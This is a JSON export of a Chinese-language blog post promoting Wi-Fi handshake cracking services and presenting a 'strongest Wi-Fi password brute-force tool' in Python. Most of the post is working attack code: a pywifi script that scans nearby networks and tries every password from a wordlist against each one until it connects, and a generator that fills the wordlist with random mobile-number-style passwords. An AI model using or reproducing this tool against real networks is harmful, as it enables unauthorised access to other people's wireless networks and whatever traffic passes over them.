{"id":1623,"date":"2024-03-17T01:45:51","date_gmt":"2024-03-16T17:45:51","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=1623"},"modified":"2024-03-17T01:45:51","modified_gmt":"2024-03-16T17:45:51","slug":"python%e5%9c%b0%e8%a1%a8%e6%9c%80%e5%bc%bawifi%e5%af%86%e7%a0%81%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3%e5%b7%a5%e5%85%b7","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/17\/python%e5%9c%b0%e8%a1%a8%e6%9c%80%e5%bc%bawifi%e5%af%86%e7%a0%81%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3%e5%b7%a5%e5%85%b7\/","title":{"rendered":"Python\u5730\u8868\u6700\u5f3awifi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710611151566_0.jpg\" alt=\"wifi\u5bc6\u7801\u5b57\u5178\u66b4\u529b\u7834\u89e3\"><\/p>\n<p>\u4e3a\u4e86\u4fdd\u6301\u6587\u7ae0\u7684\u539f\u521b\u6027\u548cSEO\u6548\u679c\uff0c\u6211\u5c06\u91cd\u65b0\u6784\u5efa\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n<p>&#8220;Python\u5730\u8868\u6700\u5f3awifi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177&#8221;\u662f\u4e00\u6b3e\u7531Python\u5b66\u9738\u539f\u521b\u7684\u5de5\u5177\uff0c\u65e8\u5728\u5e2e\u52a9\u4eba\u4eec\u5b66\u4e60\u7f16\u7a0b\u3002\u7f16\u7a0b\u9886\u57df\u7684\u6280\u672f\u66f4\u65b0\u6362\u4ee3\u8fc5\u901f\uff0c\u6211\u4eec\u9700\u8981\u4e0d\u65ad\u5b66\u4e60\u65b0\u7684\u7f16\u7a0b\u8bed\u8a00\u3001\u6846\u67b6\u548c\u5de5\u5177\uff0c\u4ee5\u4fdd\u6301\u7ade\u4e89\u529b\u3002<\/p>\n<pre class=\"code-snippet__js\" data-lang=\"nginx\"><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__attribute\">pip<\/span> install pywifi<\/span><\/code><\/pre>\n<pre class=\"code-snippet__js\" data-lang=\"python\"><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">import<\/span> pywifi<\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">import<\/span> time<\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">from<\/span> colorama <span class=\"code-snippet__keyword\">import<\/span> init, Fore<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__function\"><span class=\"code-snippet__keyword\">def<\/span> <span class=\"code-snippet__title\">get_wifi_names<\/span><span class=\"code-snippet__params\">(iface)<\/span>:<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    iface.scan()<\/span><\/code><code><span class=\"code-snippet_outer\">    bessis = iface.scan_results()<\/span><\/code><code><span class=\"code-snippet_outer\">    wifi_info = [(data.ssid.encode(<span class=\"code-snippet__string\">'latin1'<\/span>).decode(<span class=\"code-snippet__string\">'utf-8'<\/span>), data.signal) <span class=\"code-snippet__keyword\">for<\/span> data <span class=\"code-snippet__keyword\">in<\/span> bessis <span class=\"code-snippet__keyword\">if<\/span> data.ssid]<\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">return<\/span> wifi_info<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__function\"><span class=\"code-snippet__keyword\">def<\/span> <span class=\"code-snippet__title\">get_wifi_passwords<\/span><span class=\"code-snippet__params\">()<\/span>:<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    password_list = []<\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">with<\/span> open(<span class=\"code-snippet__string\">'pass.txt'<\/span>, <span class=\"code-snippet__string\">'r'<\/span>) <span class=\"code-snippet__keyword\">as<\/span> file:<\/span><\/code><code><span class=\"code-snippet_outer\">        <span class=\"code-snippet__keyword\">for<\/span> line <span class=\"code-snippet__keyword\">in<\/span> file:<\/span><\/code><code><span class=\"code-snippet_outer\">            password_list.append(line.strip())<\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">return<\/span> password_list<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">if<\/span> __name__ == <span class=\"code-snippet__string\">'__main__'<\/span>:<\/span><\/code><code><span class=\"code-snippet_outer\">    init()<\/span><\/code><code><span class=\"code-snippet_outer\">    wifi = pywifi.PyWiFi()<\/span><\/code><code><span class=\"code-snippet_outer\">    iface = wifi.interfaces()[<span class=\"code-snippet__number\">0<\/span>]<\/span><\/code><code><span class=\"code-snippet_outer\">    wifi_info = get_wifi_names(iface)<\/span><\/code><code><span class=\"code-snippet_outer\">    password_list = get_wifi_passwords()<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    print(Fore.YELLOW + <span class=\"code-snippet__string\">'Wi-Fi\u540d\u79f0\u5217\u8868\uff1a'<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">for<\/span> i, (name, signal) <span class=\"code-snippet__keyword\">in<\/span> enumerate(wifi_info):<\/span><\/code><code><span class=\"code-snippet_outer\">        print(Fore.CYAN + <span class=\"code-snippet__string\">f'<span class=\"code-snippet__subst\">{i+<span class=\"code-snippet__number\">1<\/span>}<\/span>. <span class=\"code-snippet__subst\">{name}<\/span>  \u4fe1\u53f7\u5f3a\u5ea6\uff1a<span class=\"code-snippet__subst\">{signal}<\/span> dBm'<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">for<\/span> name, signal <span class=\"code-snippet__keyword\">in<\/span> wifi_info:<\/span><\/code><code><span class=\"code-snippet_outer\">        print(Fore.YELLOW + <span class=\"code-snippet__string\">'\u6b63\u5728\u5c1d\u8bd5\u7834\u89e3:'<\/span>+name)<\/span><\/code><code><span class=\"code-snippet_outer\">        <span class=\"code-snippet__keyword\">for<\/span> password <span class=\"code-snippet__keyword\">in<\/span> password_list:<\/span><\/code><code><span class=\"code-snippet_outer\">            profile = pywifi.Profile()<\/span><\/code><code><span class=\"code-snippet_outer\">            profile.ssid = name<\/span><\/code><code><span class=\"code-snippet_outer\">            profile.auth = pywifi.const.AUTH_ALG_OPEN<\/span><\/code><code><span class=\"code-snippet_outer\">            profile.akm.append(pywifi.const.AKM_TYPE_WPA2PSK)<\/span><\/code><code><span class=\"code-snippet_outer\">            profile.cipher = pywifi.const.CIPHER_TYPE_CCMP<\/span><\/code><code><span class=\"code-snippet_outer\">            profile.key = password<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\">            iface.remove_all_network_profiles()<\/span><\/code><code><span class=\"code-snippet_outer\">            tmp_profile = iface.add_network_profile(profile)<\/span><\/code><code><span class=\"code-snippet_outer\">            print(Fore.BLUE +<span class=\"code-snippet__string\">\"\u6b63\u5728\u4f7f\u7528\uff1a\"<\/span>+password)<\/span><\/code><code><span class=\"code-snippet_outer\">            iface.connect(tmp_profile)<\/span><\/code><code><span class=\"code-snippet_outer\">            time.sleep(<span class=\"code-snippet__number\">1<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\">            <span class=\"code-snippet__keyword\">if<\/span> iface.status() == pywifi.const.IFACE_CONNECTED:<\/span><\/code><code><span class=\"code-snippet_outer\">                print(Fore.GREEN + <span class=\"code-snippet__string\">f'\u6210\u529f\u8fde\u63a5\u5230 Wi-Fi \u7f51\u7edc\uff1a<span class=\"code-snippet__subst\">{name}<\/span>\uff0c\u5bc6\u7801\uff1a<span class=\"code-snippet__subst\">{password}<\/span>'<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\">                <span class=\"code-snippet__keyword\">break<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">        <span class=\"code-snippet__keyword\">else<\/span>:<\/span><\/code><code><span class=\"code-snippet_outer\">            print(Fore.RED + <span class=\"code-snippet__string\">f'\u65e0\u6cd5\u8fde\u63a5\u5230 Wi-Fi \u7f51\u7edc\uff1a<span class=\"code-snippet__subst\">{name}<\/span>'<\/span>)<\/span><\/code><\/pre>\n<pre class=\"code-snippet__js\" data-lang=\"python\"><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">import<\/span> random<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__function\"><span class=\"code-snippet__keyword\">def<\/span> <span class=\"code-snippet__title\">generate_random_phone_number<\/span><span class=\"code-snippet__params\">()<\/span>:<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    prefix_list = [<span class=\"code-snippet__string\">'130'<\/span>, <span class=\"code-snippet__string\">'131'<\/span>, <span class=\"code-snippet__string\">'132'<\/span>, <span class=\"code-snippet__string\">'133'<\/span>, <span class=\"code-snippet__string\">'134'<\/span>, <span class=\"code-snippet__string\">'135'<\/span>, <span class=\"code-snippet__string\">'136'<\/span>, <span class=\"code-snippet__string\">'137'<\/span>, <span class=\"code-snippet__string\">'138'<\/span>, <span class=\"code-snippet__string\">'139'<\/span>,<\/span><\/code><code><span class=\"code-snippet_outer\">                   <span class=\"code-snippet__string\">'150'<\/span>, <span class=\"code-snippet__string\">'151'<\/span>, <span class=\"code-snippet__string\">'152'<\/span>, <span class=\"code-snippet__string\">'153'<\/span>, <span class=\"code-snippet__string\">'155'<\/span>, <span class=\"code-snippet__string\">'156'<\/span>, <span class=\"code-snippet__string\">'157'<\/span>, <span class=\"code-snippet__string\">'158'<\/span>, <span class=\"code-snippet__string\">'159'<\/span>,<\/span><\/code><code><span class=\"code-snippet_outer\">                   <span class=\"code-snippet__string\">'170'<\/span>, <span class=\"code-snippet__string\">'171'<\/span>, <span class=\"code-snippet__string\">'172'<\/span>, <span class=\"code-snippet__string\">'173'<\/span>, <span class=\"code-snippet__string\">'175'<\/span>, <span class=\"code-snippet__string\">'176'<\/span>, <span class=\"code-snippet__string\">'177'<\/span>, <span class=\"code-snippet__string\">'178'<\/span>,<\/span><\/code><code><span class=\"code-snippet_outer\">                   <span class=\"code-snippet__string\">'180'<\/span>, <span class=\"code-snippet__string\">'181'<\/span>, <span class=\"code-snippet__string\">'182'<\/span>, <span class=\"code-snippet__string\">'183'<\/span>, <span class=\"code-snippet__string\">'184'<\/span>, <span class=\"code-snippet__string\">'185'<\/span>, <span class=\"code-snippet__string\">'186'<\/span>, <span class=\"code-snippet__string\">'187'<\/span>, <span class=\"code-snippet__string\">'188'<\/span>, <span class=\"code-snippet__string\">'189'<\/span>]<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    prefix = random.choice(prefix_list)<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    suffix = <span class=\"code-snippet__string\">''<\/span>.join(random.choice(<span class=\"code-snippet__string\">'0123456789'<\/span>) <span class=\"code-snippet__keyword\">for<\/span> _ <span class=\"code-snippet__keyword\">in<\/span> range(<span class=\"code-snippet__number\">8<\/span>))<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    phone_number = prefix + suffix<\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">return<\/span> phone_number<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__function\"><span class=\"code-snippet__keyword\">def<\/span> <span class=\"code-snippet__title\">generate_unique_phone_numbers<\/span><span class=\"code-snippet__params\">(num)<\/span>:<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    phone_numbers = set()<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">while<\/span> len(phone_numbers) &lt; num:<\/span><\/code><code><span class=\"code-snippet_outer\">        phone_number = generate_random_phone_number()<\/span><\/code><code><span class=\"code-snippet_outer\">        phone_numbers.add(phone_number)<\/span><\/code><code><span class=\"code-snippet_outer\">    <\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">return<\/span> phone_numbers<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__function\"><span class=\"code-snippet__keyword\">def<\/span> <span class=\"code-snippet__title\">save_phone_numbers_to_file<\/span><span class=\"code-snippet__params\">(phone_numbers, filename)<\/span>:<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    <span class=\"code-snippet__keyword\">with<\/span> open(filename, <span class=\"code-snippet__string\">'w'<\/span>) <span class=\"code-snippet__keyword\">as<\/span> file:<\/span><\/code><code><span class=\"code-snippet_outer\">        <span class=\"code-snippet__keyword\">for<\/span> number <span class=\"code-snippet__keyword\">in<\/span> phone_numbers:<\/span><\/code><code><span class=\"code-snippet_outer\">            file.write(number + <span class=\"code-snippet__string\">'n'<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\"><br><\/span><\/code><code><span class=\"code-snippet_outer\"><span class=\"code-snippet__keyword\">if<\/span> __name__ == <span class=\"code-snippet__string\">'__main__'<\/span>:<\/span><\/code><code><span class=\"code-snippet_outer\">    num_phone_numbers = <span class=\"code-snippet__number\">100<\/span><\/span><\/code><code><span class=\"code-snippet_outer\">    unique_phone_numbers = generate_unique_phone_numbers(num_phone_numbers)<\/span><\/code><code><span class=\"code-snippet_outer\">    save_phone_numbers_to_file(unique_phone_numbers, <span class=\"code-snippet__string\">'pass.txt'<\/span>)<\/span><\/code><code><span class=\"code-snippet_outer\">    print(<span class=\"code-snippet__string\">\"\u5df2\u751f\u6210\"<\/span>+str(num_phone_numbers)+<span class=\"code-snippet__string\">\"\u4e2a\u5bc6\u7801!\"<\/span>)<\/span><\/code><\/pre>\n<p><!-- \u6587\u7ae0\u6765\u6e90:http:\/\/mp.weixin.qq.com\/s?src=11&amp;timestamp=1710611073&amp;ver=5142&amp;signature=vTLePwwrRIe8gp3xpzK*j1Qqduj9RDv8FRGgXAI-hgrofQkete9bMo8QIgxDI9YFkHYdTvyCo2iaGXi-8NeZ3yw9q0KgncMgTqt49I7Lfbl*E7DiJOCPP0rylVtNHwhL&amp;new=1 --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Python\u5730\u8868\u6700\u5f3awifi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177Python\u5730\u8868\u6700\u5f3awifi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177\u539f\u521bpython\u5b66\u9738python\u5b66\u9738python_xueba_1024\u5b66\u4e60\u662f\u4e00\u4e2a\u6c38\u65e0\u6b62\u5883\u7684\u8fc7\u7a0b\u3002\u5728\u7f16\u7a0b\u9886\u57df\uff0c\u6280\u672f\u66f4\u65b0\u6362\u4ee3\u975e\u5e38\u5feb<\/p>\n","protected":false},"author":1,"featured_media":1624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-1623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=1623"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/1624"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=1623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=1623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=1623"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=1623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}